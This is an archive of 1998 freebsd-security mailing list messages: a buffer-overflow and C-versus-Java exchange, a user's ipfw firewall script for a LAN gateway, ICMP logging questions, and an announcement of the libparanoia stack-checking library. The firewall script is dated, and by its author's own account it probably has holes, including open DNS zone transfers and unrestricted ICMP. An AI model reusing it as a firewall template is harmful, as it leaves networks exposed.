hub.freebsd.org (8.8.8/8.8.8) id QAA16849; Fri, 17 Jul 1998 16:40:33 -0700 (PDT) (envelope-from jmb) From: "Jonathan M. Bresler" Message-Id: <199807172340.QAA16849@hub.freebsd.org> Subject: Re: Buffer overflows. was Re: EMERGENCY: new remote root exploit in UW imapd In-Reply-To: <199807172249.PAA11364@bangkok.office.cdsnet.net> from Craig Spannring at "Jul 17, 98 03:49:02 pm" To: cts@internetcds.com (Craig Spannring) Date: Fri, 17 Jul 1998 16:40:33 -0700 (PDT) Cc: bugtraq@netspace.org, nobody@replay.com, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Craig Spannring wrote: [snip] > People that say eliminating buffer overflows won't have much benefit > need to examine some data. I took a look at some recent bugtraq > messages. Out of 19 security defects 7 of them were buffer overflows, buffer overflows are in vogue right now. everyone is looking for them everywhere. on one hand this is good. lots of people will learn about them. on the other hand, this distracts from other problems. [snip] > I've repeatedly heard that in the hands of a good programmer that C is > safe and it is only morons write code with buffer overflows. A lot of > people seem to think that Eric Allman is a pretty sharp programmer, yeah...but remember that sendmail has evolved over years to meet various needs. when eric started writing sendmail and even years into it, who would have expected the enviroment sendamil faces today? its really not fair to eric to pull work from one decade into another. [snip] > // Java > do { > buf[i] = getNextByteFromNextwork(); > while ('\n' != buf[i++]); > > /* C */ > do { > buf[i] = getNextByteFromNextwork(); > while ('\n' != buf[i++]); this is time-wrapping again....k & r made the correct decision at the time. today, is not then. Java is cool...i hope it will be fast soon. jmb To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 20:14:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA09742 for freebsd-security-outgoing; Fri, 17 Jul 1998 20:14:51 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA09737 for ; Fri, 17 Jul 1998 20:14:50 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id UAA21490; Fri, 17 Jul 1998 20:12:50 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: Craig Spannring cc: bugtraq@netspace.org, Anonymous , freebsd-security@FreeBSD.ORG Subject: Re: Buffer overflows. was Re: EMERGENCY: new remote root exploit in UW imapd In-reply-to: Your message of "Fri, 17 Jul 1998 15:49:02 PDT." <199807172249.PAA11364@bangkok.office.cdsnet.net> Date: Fri, 17 Jul 1998 20:12:50 -0700 Message-ID: <21486.900731570@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > The responses I've gotten can be grouped into the following broad > categories- Perhaps I can help. Language wars are an unwonted topic on freebsd-security, whatever the justification, and a meta-discussion on security as a function of one's chosen language is about as useful as a meta-discussion on one's choice of OS. We're here to talk about FreeBSD security, given the current suite of tools and languages that exists today, and anything else is simply irrelevant. In light of this, it's not too surprising that you got the wide variety of feedback that you did. The points may be perfectly valid, but they were raise in the wrong forum. Whatever the outcome of the current discussion, I hope that people are at least now aware of that. Regards, - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 21:56:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA16877 for freebsd-security-outgoing; Fri, 17 Jul 1998 21:56:56 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.aussie.org (hallam.lnk.telstra.net [139.130.54.166]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA16870 for ; Fri, 17 Jul 1998 21:56:48 -0700 (PDT) (envelope-from maillist@oaks.com.au) Received: from bigbox (frankenputer.aussie.org [203.29.75.73]) by mail.aussie.org (8.9.0/8.9.0) with SMTP id OAA04248 for ; Sat, 18 Jul 1998 14:56:03 +1000 (EST) Message-Id: <199807180456.OAA04248@mail.aussie.org> From: "Hallam Oaks P/L list account" To: "freebsd-security@FreeBSD.ORG" Date: Sat, 18 Jul 1998 14:52:26 +1000 Reply-To: "Hallam Oaks P/L list account" X-Mailer: PMMail 98 Standard (2.01.1600) For Windows NT (4.0.1381;3) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: rc.firewall (was Re: Large-scale scan of SNMP ports) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ok, here it is. The following script is based on the 'simple' section of rc.firewall in the standard distribution. it makes the following assumptions - o you have two interfaces, one to the internet, and one to a LAN o the two interfaces don't share the same subnet o the LAN is configured to use a real, routable subnet (no aliasing) o that subnet is thus routed via the interface used for the 'net connection o the LAN contains PC's (or whatever) that want access to the net o any services offered to the PC's (DNS, squid, etc) run on the same machine as that which executes the below rc.firewall o http access is via a proxy (we use squid here) o no outside parties have access to POP, IMAP, HTTP, etc. o there are no outside logins of any type whatsoever (not even SSH). I set the max hit count for any one rule to a number higher than the default (which is, I think, 100). I use 1000 myself. I also do this in my /etc/daily - echo "Listing IPFW rules and clearing accounting" /sbin/ipfw -t list /sbin/ipfw zero One final warning - I don't consider myself particularly knowledgable in areas of security. The following rc.firewall could have holes large enough to fit the Enterprise through sideways. In fact it not only could, but probably does. so if you use it it's at entirely at your own risk. The IP addresses given have been modified to ensure whoever uses this actually types something different in there :) (it won't work as-is). If anyone does spot errors I'd be pleased to hear about them. -- Chris ############ # Setup system for firewall service. # $Id: rc.firewall,v 1.6.2.5 1997/10/21 00:20:35 jkh Exp $ # Adapted from 'SIMPLE' example in rc.firewall by CJC ############ # Set quiet mode if requested if [ "x$firewall_quiet" = "xYES" ]; then fwcmd="/sbin/ipfw -q" else fwcmd="/sbin/ipfw" fi ############ # Flush out the list before we begin. $fwcmd -f flush ############ # Only in rare cases do you want to change these rules $fwcmd add 1000 pass all from any to any via lo0 $fwcmd add 1010 deny all from 127.0.0.0/8 to 127.0.0.0/8 # our outside interface network and netmask and ip pppif="tun0" pppnet="139.XXX.XX.XXX" pppmask="255.255.255.128" pppip="139.XXX.XX.XXX" # our inside interface network and netmask and ip lanif="fxp0" lanip="203.XX.XX.2" # our entire inside network as one class C block allnet="203.XX.XX.0" allmask="255.255.255.0" # two nameservers the LAN needs access to. these sit on the this machine. ns1="203.XX.XX.11" ns2="203.XX.XX.21" # the address of our SMTP and POP3 server (runs on this machine) mail="203.XX.XX.2" # the address of our news server (runs on this machine) news="203.XX.XX.2" # our squid caching proxy (runs on this machine) squid="203.XX.XX.2" # all PC's on our LAN occupy the second 64-byte subnet of our class C pcs="203.XX.XX.64:255.255.255.192" # The primary IP address of our ethernet interface gw="203.XX.XX.2" # IP addresses of some outside machines that we are interested in leopold="203.XX.XX.224" mira="203.X.XXX.131" #################################################################### # RULES THAT APPLY TO ALL PROTOCOLS #################################################################### # Stop spoofing $fwcmd add deny log all from ${allnet}:${allmask} to any in via ${pppif} $fwcmd add deny log all from ${pppip} to any in via ${lanif} # Stop RFC1918 nets on the outside interface $fwcmd add deny log all from 192.168.0.0:255.255.0.0 to any via ${pppif} $fwcmd add deny log all from 172.16.0.0:255.240.0.0 to any via ${pppif} $fwcmd add deny log all from 10.0.0.0:255.0.0.0 to any via ${pppif} #################################################################### # RULES THAT APPLY TO TCP ONLY #################################################################### # Allow TCP through if setup succeeded $fwcmd add pass tcp from any to any established # Deny (with no logging) ident queries - we get too many to want to log them $fwcmd add reject tcp from any to any 113 in via ${pppif} $fwcmd add reject tcp from any to any 113 out via ${lanif} # Allow outgoing ssh from any of our PC's $fwcmd add pass tcp from ${pcs} to any 22 setup # Allow setup of incoming email $fwcmd add pass tcp from any to ${mail} 25 setup # Allow anyone (!) access to our NNTP server (this is entirely intentional) $fwcmd add pass tcp from any to ${news} 119 setup # Allow any of our PC's access to NNTP servers elsewhere $fwcmd add pass tcp from ${pcs} to any 119 setup # Allow PC's access to the control ports of FTP servers elsewhere. # They must use PASV mode for data ! $fwcmd add pass tcp from ${pcs} to any 21 setup # Allow our PC's to have access to Compuserve (eek) $fwcmd add pass tcp from ${pcs} to any 4144 setup # Allow our PC's to access our POP server $fwcmd add pass tcp from ${pcs} to ${mail} 110 via ${lanif} setup # Allow our PC's local access to the web server $fwcmd add pass tcp from ${pcs} to ${gw} 80 via ${lanif} setup # Allow our squid cache to talk to peers $fwcmd add pass tcp from ${pppip} to any 8080 via ${pppif} setup # Allow our squid cache to talk to the world (and thus us to talk to anything) # (One day I'll have to read the squid docs and do this a better way) $fwcmd add pass tcp from ${pppip} to any via ${pppif} setup # Allow PC's to talk to our squid cache $fwcmd add pass tcp from ${pcs} to ${squid} 8000 via ${lanif} setup # Allow PC's to talk to Perforce SCCS (p4d). The port varies according to setup. $fwcmd add pass tcp from ${pcs} to ${gw} 1667 via ${lanif} setup # Allow PC's to talk to the RealAudio proxy $fwcmd add pass tcp from ${pcs} to ${gw} 1090 via ${lanif} setup # Allow our lan to talk to Leopold's RA proxy and squid (for testing/maintainence) $fwcmd add pass tcp from ${pcs} to ${leopold} 1090 setup $fwcmd add pass tcp from ${pcs} to ${leopold} 8080 setup # Allow our lan to talk to Mira's POP server $fwcmd add pass tcp from ${pcs} to ${mira} 110 setup # Allow DNS zone transfers. # I Should really restrict this to our secondaries after some recent probes. $fwcmd add pass tcp from any to ${ns1} 53 setup $fwcmd add pass tcp from any to ${ns2} 53 setup # Allow NetBIOS accesses from the local PC's to us $fwcmd add pass tcp from ${pcs} to ${gw} 139 via ${lanif} setup # Allow setup of TCP sessions from us (gw) to the world using our class C # Note that this does not allow the PC's unrestricted access to the world, # as it only applies to the PPP interface (the PC's are on the lan IF). $fwcmd add pass tcp from ${allnet}:${allmask} to any out via ${pppif} setup # allow our local FTP server to connect to the PC's (avoids using PASV mode) $fwcmd add pass tcp from ${gw} 20 to ${pcs} out via ${lanif} setup # Reject&Log all setup of incoming connections from the outside $fwcmd add deny log tcp from any to any in via ${pppif} setup ##################################################################### # DENY UDP entries ... should go BEFORE the specific PASS UDP entries ##################################################################### # technically these are unnecessary as we deny everything by default. # if we add a rule here it's probably because we want a different action # or because we don't want it logged (e.g. netbios accesses, which we get # a lot of). # Reject (with no logging) ident queries from the outside $fwcmd add reject udp from any to any 113 in via ${pppif} $fwcmd add reject udp from any to any 113 out via ${lanif} # Reject (with no logging) NetBIOS name service accesses from outside $fwcmd add reject udp from any to any 137 via ${pppif} ############################################################################### # ALLOW UDP entries ... should go AFTER the specific DENY or REJECT UDP entries ############################################################################### # allow us to send any UDP packet out via the ethernet interface. we have to add # two rules here as the process sending the packet could be bound to either an # IP in the class C ('allnet') or our PPP ip address $fwcmd add pass udp from ${pppip} to any out via ${lanif} $fwcmd add pass udp from ${allnet}:${allmask} to any out via ${lanif} # Allow DNS queries from the world to the name servers on this machine $fwcmd add pass udp from any to ${ns1} 53 $fwcmd add pass udp from any to ${ns2} 53 $fwcmd add pass udp from any to ${gw} 53 # Allow replies to DNS queries to go out $fwcmd add pass udp from ${ns1} 53 to any $fwcmd add pass udp from ${ns2} 53 to any $fwcmd add pass udp from ${gw} 53 to any # Allow NTP queries $fwcmd add pass udp from any 123 to ${pppip} $fwcmd add pass udp from ${pppip} to any 123 # Allow parents and peers ICP access to our squid cache via UDP # This is too general - we allow anyone to talk. We should really only allow # the accesses from the parents & peers. $fwcmd add pass udp from any to ${squid} 3130 via ${pppif} # Allow our squid cache to send ICP messages to peers via UDP $fwcmd add pass udp from ${squid} to any 3130 via ${pppif} # Allow NetBIOS accesses (and broadcasts) from the local network $fwcmd add pass udp from ${pcs} to any 137 via ${lanif} $fwcmd add pass udp from ${pcs} to any 138 via ${lanif} $fwcmd add pass udp from ${gw} to any 138 via ${lanif} $fwcmd add pass udp from ${gw} to any 137 via ${lanif} ############################################################################### # ALLOW ICMP ENTRIES ############################################################################### # Allow ICMP from our local network - so PC's can ping things on the 'net # Makes the us and the PC's vunerable to certain types of attacks # It would be nice if IPFW had the ability to 'see' an outgoing ICMP echo request, # (which we could enable in one direction only), and then optionally automatically # enable incoming ICMP to the sending IP address for a specified # of seconds. # But it can't so we just leave it on all the time ... $fwcmd add pass icmp from any to any ############################################################################### # ALL ############################################################################### $fwcmd add deny log all from any to any via ${lanif} $fwcmd add deny log all from any to any via ${pppif} To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat Jul 18 14:41:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA01715 for freebsd-security-outgoing; Sat, 18 Jul 1998 14:41:24 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (aniwa.actrix.gen.nz [203.96.56.186]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA01695 for ; Sat, 18 Jul 1998 14:41:19 -0700 (PDT) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.7/8.8.7) with SMTP id JAA04449; Sun, 19 Jul 1998 09:40:34 +1200 (NZST) (envelope-from andrew@squiz.co.nz) Date: Sun, 19 Jul 1998 09:40:34 +1200 (NZST) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: Hallam Oaks P/L list account cc: "freebsd-security@FreeBSD.ORG" Subject: Re: rc.firewall (was Re: Large-scale scan of SNMP ports) In-Reply-To: <199807180456.OAA04248@mail.aussie.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 18 Jul 1998, Hallam Oaks P/L list account wrote: > ############################################################################### > # ALLOW ICMP ENTRIES > ############################################################################### > > # Allow ICMP from our local network - so PC's can ping things on the 'net > # Makes the us and the PC's vunerable to certain types of attacks > > # It would be nice if IPFW had the ability to 'see' an outgoing ICMP echo request, > # (which we could enable in one direction only), and then optionally automatically > # enable incoming ICMP to the sending IP address for a specified # of seconds. > # But it can't so we just leave it on all the time ... > $fwcmd add pass icmp from any to any I've just gotten to looking at icmp. I left this in overnight: 40000 28 2320 allow log icmp from any to xx.xx.xx.xx 40010 5 1032 allow log icmp from xx.xx.xx.xx to any where xx.xx.xx.xx is my machine's ip. what I've gotten back show's ICMP:11.0 packets coming in from local and distant routers, with no outgoing reply, and ICMP:4.0 and ICMP:8.0 packets coming in with an ICMP:0.0 reply to each. So far I don't understand a lot of what I found in icmp.h about these codes, so presumably I'll have to dig out the appropriate RFC in order to get a broader understanding of what icmp does and what I want to concern myself with. ------------------- # might be useful to someone # log incoming pings allow log icmp from any to xx.xx.xx.xx icmptype 8 # picks up traceroute probes, but probably other things as well allow log icmp from xx.xx.xx.xx to any icmptype 3 # this one will pick up a standard unix traceroute, but a doctored one # could use other ports allow udp from xx.xx.xx.xx to any 33400-33499 -------------------- Can anyone explain this... Took place within a second while I've been writing this, repeated 2 minutes later. yy.yy.yy.yy is a distant remote host ipfw: 40000 Accept ICMP:8.0 yy.yy.yy.yy xx.xx.xx.xx in via de0 ipfw: 40000 Accept ICMP:166.79 yy.yy.yy.yy xx.xx.xx.xx in via de0 Fragment = 69 ipfw: 40010 Accept ICMP:0.0 xx.xx.xx.xx yy.yy.yy.yy out via de0 Is the 79 in the middle line the port number of a fragmented packet? There's been some stuff about finger and nis lately. Andrew McNaughton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat Jul 18 15:06:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA04080 for freebsd-security-outgoing; Sat, 18 Jul 1998 15:06:49 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from vger.alaska.net (vger.alaska.net [209.112.156.61]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA04075 for ; Sat, 18 Jul 1998 15:06:48 -0700 (PDT) (envelope-from simestd@alaska.net) Received: from localhost (simestd@localhost) by vger.alaska.net (8.8.8/8.8.8) with SMTP id OAA23775; Sat, 18 Jul 1998 14:04:25 -0800 (AKDT) (envelope-from simestd@alaska.net) Date: Sat, 18 Jul 1998 14:04:25 -0800 (AKDT) From: "Thomas D. Simes" To: Andrew McNaughton cc: Hallam Oaks P/L list account , "freebsd-security@FreeBSD.ORG" Subject: Re: rc.firewall (was Re: Large-scale scan of SNMP ports) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 19 Jul 1998, Andrew McNaughton wrote: > So far I don't understand a lot of what I found in icmp.h about these > codes, so presumably I'll have to dig out the appropriate RFC in order to > get a broader understanding of what icmp does and what I want to concern > myself with. You might take a look at: http://www.livingston.com/Tech/Technotes/300/300010.html It's the RFC-1700 info in a handy format - Thanks Livingston ;-) Tom ====================================================================== "Z-80 system stack overflow. Shut 'er down Scotty, the system's sucking mud" - Error message on TRS 80 Model-16B Thomas D. Simes Chief Technology Instigator simestd@alaska.net Internet Alaska ====================================================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat Jul 18 16:24:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA09713 for freebsd-security-outgoing; Sat, 18 Jul 1998 16:24:09 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from nash.pr.mcs.net (nash.pr.mcs.net [204.95.47.72]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09708 for ; Sat, 18 Jul 1998 16:24:06 -0700 (PDT) (envelope-from alex@nash.pr.mcs.net) Received: (from alex@localhost) by nash.pr.mcs.net (8.8.8/8.8.7) id SAA27596; Sat, 18 Jul 1998 18:22:07 -0500 (CDT) (envelope-from alex) Message-Id: <199807182322.SAA27596@nash.pr.mcs.net> Date: Sat, 18 Jul 1998 18:22:07 -0500 (CDT) From: Alex Nash Subject: Re: rc.firewall (was Re: Large-scale scan of SNMP ports) To: andrew@squiz.co.nz cc: maillist@oaks.com.au, freebsd-security@FreeBSD.ORG In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 19 Jul, Andrew McNaughton wrote: > Can anyone explain this... Took place within a second while I've been > writing this, repeated 2 minutes later. yy.yy.yy.yy is a distant remote > host > > ipfw: 40000 Accept ICMP:8.0 yy.yy.yy.yy xx.xx.xx.xx in via de0 > ipfw: 40000 Accept ICMP:166.79 yy.yy.yy.yy xx.xx.xx.xx in via de0 Fragment = 69 > ipfw: 40010 Accept ICMP:0.0 xx.xx.xx.xx yy.yy.yy.yy out via de0 > > > Is the 79 in the middle line the port number of a fragmented packet? This is a bug, the ICMP type and subtype should not be displayed for this fragmented packet (the information isn't present). I'll commit a fix for this shortly. Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat Jul 18 17:02:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA13172 for freebsd-security-outgoing; Sat, 18 Jul 1998 17:02:49 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from marta.arcom.spb.su (marta.arcom.spb.su [195.190.100.18]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA13161 for ; Sat, 18 Jul 1998 17:02:44 -0700 (PDT) (envelope-from snar@marta.arcom.spb.su) Received: (from snar@localhost) by marta.arcom.spb.su (8.8.8/t/97-Mar-14) id DAA07564; Sun, 19 Jul 1998 03:58:28 +0400 (MSD) Message-ID: <19980719035828.63056@nevalink.ru> Date: Sun, 19 Jul 1998 03:58:28 +0400 From: Alexandre Snarskii To: freebsd-security@FreeBSD.ORG Subject: libparanoia announce. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "I do not believe the code". Theo deRaadt, in some bugtrack posting Hi! That is just to notify subscribers of freebsd-security that old[*] idea of "secure wrapping" some functions, incorect usage of ones comes to security problems with buffer owerflows, had redesigned and published at ftp://ftp.lexa.ru/pub/domestic/snar/libparanoia.tgz That tarball contains modified sources of /usr/src/lib/libc/i386/string/strcpy.S /usr/src/lib/libc/i386/string/strcat.S /usr/src/lib/libc/stdio/gets.c /usr/src/lib/libc/stdio/vfprintf.c /usr/src/lib/libc/stdio/vfscanf.c , all the modifications - is calls to handwritten functions enter_violation right after entering the function and to exit_violation just before return. The purpose of enter_violation is to save last 10 stack frames ( means saved BP and IP registers ) from program stack into internal table, and purpose of exit_violation is to check, is these frames still the same ( i.e. no stack modifications made by some of these functions ), and, in case of corrupted stack performs logging to syslog and kill(SIGSEGV,getpid()) - because, in the best case we will got the same ( or SIGBUS ) signal on RET with incorrect saved IP , or, in worst case, IP will point to exec("/bin/sh")... That code can be used in two ways: a) you just making standalone libparanoia.(a|so) and linknig all the programs, which you want to secure that way, with one. b) you can use included copy-to-libc script to modify sources of your libc ( about all program will link libc.so at startup ). Note: you need installed sources of libc in any case. [*] You can find old discussion on that topic, searching freebsd-hackers with Subject: increasing overarll security. PS: of course, these functions works a little slower. ( Test, contained just 100000 strcpy's works six times slower. But, in "real life" there is no performance hit. PPS: that is not a panacea. Any problems with bad protocols/algorhytms still can cause security violations. More than, buffer overflows still possible with bad usage of fgets, for example. But it covers about 95% of known stack overflow attacks since Morrison's Worm to now. -- Alexandre Snarskii the source code is included To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message